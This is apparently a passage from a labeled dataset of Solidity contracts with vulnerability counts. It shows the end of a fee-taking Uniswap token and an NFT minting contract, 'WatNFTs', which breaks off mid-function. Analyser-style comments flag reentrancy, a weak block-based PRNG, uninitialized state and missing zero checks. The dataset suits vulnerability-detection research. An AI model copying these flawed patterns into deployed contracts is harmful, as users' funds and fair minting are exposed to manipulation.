uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 97d3aad\n\t\t// unused-return | ID: df85897\n\t\t// reentrancy-eth | ID: b9a3c27\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 97d3aad\n\t\t// unused-return | ID: fc1b11c\n\t\t// reentrancy-eth | ID: b9a3c27\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 97d3aad\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b9a3c27\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10598.sol",
"size_bytes": 19859,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\nlibrary Counters {\n struct Counter {\n uint256 _value;\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n\n require(value > 0, \"Counter: decrement overflow\");\n\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant _HEX_SYMBOLS = \"0123456789abcdef\";\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n\n uint256 temp = value;\n\n uint256 digits;\n\n while (temp != 0) {\n digits++;\n\n temp /= 10;\n }\n\n bytes memory buffer = new bytes(digits);\n\n while (value != 0) {\n digits -= 1;\n\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n\n value /= 10;\n }\n\n return string(buffer);\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0x00\";\n }\n\n uint256 temp = value;\n\n uint256 length = 0;\n\n while (temp != 0) {\n length++;\n\n temp >>= 8;\n }\n\n return toHexString(value, length);\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _HEX_SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResult(success, returndata, errorMessage);\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\ninterface IERC721 is IERC165 {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function setApprovalForAll(address operator, bool _approved) external;\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n}\n\ninterface IERC721Enumerable is IERC721 {\n function totalSupply() external view returns (uint256);\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) external view returns (uint256 tokenId);\n\n function tokenByIndex(uint256 index) external view returns (uint256);\n}\n\ninterface IERC721Metadata is IERC721 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n\ncontract ERC721 is Context, ERC165, IERC721, IERC721Metadata {\n using Address for address;\n\n using Strings for uint256;\n\n string private _name;\n\n string private _symbol;\n\n mapping(uint256 => address) private _owners;\n\n mapping(address => uint256) private _balances;\n\n mapping(uint256 => address) private _tokenApprovals;\n\n mapping(address => mapping(address => bool)) private _operatorApprovals;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC721).interfaceId ||\n interfaceId == type(IERC721Metadata).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function balanceOf(\n address owner\n ) public view virtual override returns (uint256) {\n require(\n owner != address(0),\n \"ERC721: balance query for the zero address\"\n );\n\n return _balances[owner];\n }\n\n function ownerOf(\n uint256 tokenId\n ) public view virtual override returns (address) {\n address owner = _owners[tokenId];\n\n require(\n owner != address(0),\n \"ERC721: owner query for nonexistent token\"\n );\n\n return owner;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n require(\n _exists(tokenId),\n \"ERC721Metadata: URI query for nonexistent token\"\n );\n\n string memory baseURI = _baseURI();\n\n return\n bytes(baseURI).length > 0\n ? string(abi.encodePacked(baseURI, tokenId.toString()))\n : \"\";\n }\n\n function _baseURI() internal view virtual returns (string memory) {\n return \"\";\n }\n\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ERC721.ownerOf(tokenId);\n\n require(to != owner, \"ERC721: approval to current owner\");\n\n require(\n _msgSender() == owner || isApprovedForAll(owner, _msgSender()),\n \"ERC721: approve caller is not owner nor approved for all\"\n );\n\n _approve(to, tokenId);\n }\n\n function getApproved(\n uint256 tokenId\n ) public view virtual override returns (address) {\n require(\n _exists(tokenId),\n \"ERC721: approved query for nonexistent token\"\n );\n\n return _tokenApprovals[tokenId];\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public virtual override {\n require(operator != _msgSender(), \"ERC721: approve to caller\");\n\n _operatorApprovals[_msgSender()][operator] = approved;\n\n emit ApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n return _operatorApprovals[owner][operator];\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _transfer(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721: transfer caller is not owner nor approved\"\n );\n\n _safeTransfer(from, to, tokenId, _data);\n }\n\n function _safeTransfer(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _transfer(from, to, tokenId);\n\n require(\n _checkOnERC721Received(from, to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return _owners[tokenId] != address(0);\n }\n\n function _isApprovedOrOwner(\n address spender,\n uint256 tokenId\n ) internal view virtual returns (bool) {\n require(\n _exists(tokenId),\n \"ERC721: operator query for nonexistent token\"\n );\n\n address owner = ERC721.ownerOf(tokenId);\n\n return (spender == owner ||\n getApproved(tokenId) == spender ||\n isApprovedForAll(owner, spender));\n }\n\n function _safeMint(address to, uint256 tokenId) internal virtual {\n _safeMint(to, tokenId, \"\");\n }\n\n function _safeMint(\n address to,\n uint256 tokenId,\n bytes memory _data\n ) internal virtual {\n _mint(to, tokenId);\n\n require(\n _checkOnERC721Received(address(0), to, tokenId, _data),\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n }\n\n function _mint(address to, uint256 tokenId) internal virtual {\n require(to != address(0), \"ERC721: mint to the zero address\");\n\n require(!_exists(tokenId), \"ERC721: token already minted\");\n\n _beforeTokenTransfer(address(0), to, tokenId);\n\n _balances[to] += 1;\n\n _owners[tokenId] = to;\n\n emit Transfer(address(0), to, tokenId);\n }\n\n function _burn(uint256 tokenId) internal virtual {\n address owner = ERC721.ownerOf(tokenId);\n\n _beforeTokenTransfer(owner, address(0), tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[owner] -= 1;\n\n delete _owners[tokenId];\n\n emit Transfer(owner, address(0), tokenId);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {\n require(\n ERC721.ownerOf(tokenId) == from,\n \"ERC721: transfer of token that is not own\"\n );\n\n require(to != address(0), \"ERC721: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, tokenId);\n\n _approve(address(0), tokenId);\n\n _balances[from] -= 1;\n\n _balances[to] += 1;\n\n _owners[tokenId] = to;\n\n emit Transfer(from, to, tokenId);\n }\n\n function _approve(address to, uint256 tokenId) internal virtual {\n _tokenApprovals[tokenId] = to;\n\n emit Approval(ERC721.ownerOf(tokenId), to, tokenId);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: dc0edb9): ERC721._checkOnERC721Received(address,address,uint256,bytes) has external calls inside a loop retval = IERC721Receiver(to).onERC721Received(_msgSender(),from,tokenId,_data)\n\t// Recommendation for dc0edb9: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: ce8edf2): ERC721._checkOnERC721Received(address,address,uint256,bytes) uses a dangerous strict equality retval == IERC721Receiver.onERC721Received.selector\n\t// Recommendation for ce8edf2: Don't use strict equality to determine if an account has enough Ether or tokens.\n function _checkOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n if (to.isContract()) {\n\t\t\t// reentrancy-benign | ID: be7b6b0\n\t\t\t// reentrancy-benign | ID: c7cd816\n\t\t\t// reentrancy-benign | ID: f5ce413\n\t\t\t// calls-loop | ID: dc0edb9\n try\n IERC721Receiver(to).onERC721Received(\n _msgSender(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n\t\t\t\t// incorrect-equality | ID: ce8edf2\n return retval == IERC721Receiver.onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert(\n \"ERC721: transfer to non ERC721Receiver implementer\"\n );\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n } else {\n return true;\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual {}\n}\n\nabstract contract ERC721Enumerable is ERC721, IERC721Enumerable {\n mapping(address => mapping(uint256 => uint256)) private _ownedTokens;\n\n mapping(uint256 => uint256) private _ownedTokensIndex;\n\n uint256[] private _allTokens;\n\n mapping(uint256 => uint256) private _allTokensIndex;\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IERC721Enumerable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) public view virtual override returns (uint256) {\n require(\n index < ERC721.balanceOf(owner),\n \"ERC721Enumerable: owner index out of bounds\"\n );\n\n return _ownedTokens[owner][index];\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _allTokens.length;\n }\n\n function tokenByIndex(\n uint256 index\n ) public view virtual override returns (uint256) {\n require(\n index < ERC721Enumerable.totalSupply(),\n \"ERC721Enumerable: global index out of bounds\"\n );\n\n return _allTokens[index];\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n super._beforeTokenTransfer(from, to, tokenId);\n\n if (from == address(0)) {\n _addTokenToAllTokensEnumeration(tokenId);\n } else if (from != to) {\n _removeTokenFromOwnerEnumeration(from, tokenId);\n }\n\n if (to == address(0)) {\n _removeTokenFromAllTokensEnumeration(tokenId);\n } else if (to != from) {\n _addTokenToOwnerEnumeration(to, tokenId);\n }\n }\n\n function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {\n uint256 length = ERC721.balanceOf(to);\n\n _ownedTokens[to][length] = tokenId;\n\n _ownedTokensIndex[tokenId] = length;\n }\n\n function _addTokenToAllTokensEnumeration(uint256 tokenId) private {\n _allTokensIndex[tokenId] = _allTokens.length;\n\n _allTokens.push(tokenId);\n }\n\n function _removeTokenFromOwnerEnumeration(\n address from,\n uint256 tokenId\n ) private {\n uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;\n\n uint256 tokenIndex = _ownedTokensIndex[tokenId];\n\n if (tokenIndex != lastTokenIndex) {\n uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];\n\n _ownedTokens[from][tokenIndex] = lastTokenId;\n\n _ownedTokensIndex[lastTokenId] = tokenIndex;\n }\n\n delete _ownedTokensIndex[tokenId];\n\n delete _ownedTokens[from][lastTokenIndex];\n }\n\n function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {\n uint256 lastTokenIndex = _allTokens.length - 1;\n\n uint256 tokenIndex = _allTokensIndex[tokenId];\n\n uint256 lastTokenId = _allTokens[lastTokenIndex];\n\n _allTokens[tokenIndex] = lastTokenId;\n\n _allTokensIndex[lastTokenId] = tokenIndex;\n\n delete _allTokensIndex[tokenId];\n\n _allTokens.pop();\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\nabstract contract ReentrancyGuard {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor() {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n}\n\ncontract WatNFTs is ERC721Enumerable, Ownable, ReentrancyGuard {\n using Strings for uint256;\n\n using SafeMath for uint256;\n\n using Counters for Counters.Counter;\n\n string public baseExtension = \".json\";\n\n uint256 public cost = 0.015 ether;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4c6e68f): WatNFTs.maxSupply should be constant \n\t// Recommendation for 4c6e68f: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 3333;\n\n uint256 public lastSupply = maxSupply;\n\n uint256 public maxMintAmount = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d9d4d5): WatNFTs.reflectionBalance should be constant \n\t// Recommendation for 0d9d4d5: Add the 'constant' attribute to state variables that never change.\n uint256 public reflectionBalance;\n\n\t// WARNING Optimization Issue (constable-states | ID: cef0da1): WatNFTs.totalDividend should be constant \n\t// Recommendation for cef0da1: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 83a3ad9): WatNFTs.totalDividend is never initialized. It is used in WatNFTs._randomMint(address) WatNFTs._regularMintWithAddress(address) WatNFTs._regularMint()\n\t// Recommendation for 83a3ad9: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 public totalDividend;\n\n uint256[3333] public remainingIds;\n\n mapping(uint256 => uint256) public lastDividendAt;\n\n mapping(uint256 => address) public minters;\n\n bool public paused = true;\n\n string private _baseTokenURI;\n\n address public FeeReceiver = 0xDD07C23b1a24eE0Fb4fcddCF0C9cb840862b28A2;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb1f9a0): WatNFTs.router should be constant \n\t// Recommendation for cb1f9a0: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 public router;\n\n\t// WARNING Optimization Issue (constable-states | ID: bbc51c9): WatNFTs.token should be constant \n\t// Recommendation for bbc51c9: Add the 'constant' attribute to state variables that never change.\n IERC20 public token;\n\n constructor() ERC721(\"The WAT Pack\", \"WATS\") {\n _baseTokenURI = \"ipfs://QmNnXVWdLL1WASE54UboQUoLDztz8JR4pAk5sii2LneN9E/\";\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return _baseTokenURI;\n }\n\n function setBaseURI(string memory baseURI) external onlyOwner {\n _baseTokenURI = baseURI;\n }\n\n function setCost(uint256 _newCost) public onlyOwner {\n cost = _newCost;\n }\n\n function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {\n maxMintAmount = _newmaxMintAmount;\n }\n\n function setBaseExtension(\n string memory _newBaseExtension\n ) public onlyOwner {\n baseExtension = _newBaseExtension;\n }\n\n function pause(bool _state) public onlyOwner {\n paused = _state;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a87feca): WatNFTs.setFeeReceiver(address)._newFeeReceiver lacks a zerocheck on \t FeeReceiver = _newFeeReceiver\n\t// Recommendation for a87feca: Check that the address is not zero.\n function setFeeReceiver(address _newFeeReceiver) public onlyOwner {\n\t\t// missing-zero-check | ID: a87feca\n FeeReceiver = _newFeeReceiver;\n }\n\n function mint(uint256 _mintAmount) public payable {\n require(!paused, \"WatNFTs: minting has not started yet\");\n\n require(_mintAmount > 0, \"WatNFTs: you have to mint at least one\");\n\n require(\n _mintAmount <= maxMintAmount,\n \"WatNFTs: you can only mint 10 at a time\"\n );\n\n require(\n lastSupply >= _mintAmount,\n \"WatNFTs: the collection is sold out\"\n );\n\n if (msg.sender != owner()) {\n require(\n msg.value >= cost * _mintAmount,\n \"WatNFTs: total cost isn't match\"\n );\n }\n\n handleMintReward(msg.value);\n\n for (uint256 i = 1; i <= _mintAmount; i++) {\n _randomMint(msg.sender);\n }\n }\n\n function randomGiveaway(\n address _winner,\n uint256 _amount\n ) external onlyOwner {\n require(_winner != address(0), \"WatNFTs: zero address\");\n\n require(_amount > 0, \"WatNFTs: you have to mint at least one\");\n\n require(lastSupply != 0, \"WatNFTs: the collection is sold out\");\n\n for (uint256 i = 1; i <= _amount; i++) {\n _randomMint(_winner);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f5ce413): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f5ce413: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 83a3ad9): WatNFTs.totalDividend is never initialized. It is used in WatNFTs._randomMint(address) WatNFTs._regularMintWithAddress(address) WatNFTs._regularMint()\n\t// Recommendation for 83a3ad9: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (weak-prng | severity: High | ID: 38cab8b): WatNFTs._randomMint(address) uses a weak PRNG \"_index = _getRandom() % lastSupply\" \n\t// Recommendation for 38cab8b: Do not use 'block.timestamp', 'now' or 'blockhash' as a source of randomness.\n function _randomMint(\n address _target\n ) internal nonReentrant returns (uint256) {\n\t\t// weak-prng | ID: 38cab8b\n uint256 _index = _getRandom() % lastSupply;\n\n uint256 _realIndex = getValue(_index) + 1;\n\n lastSupply--;\n\n remainingIds[_index] = getValue(lastSupply);\n\n 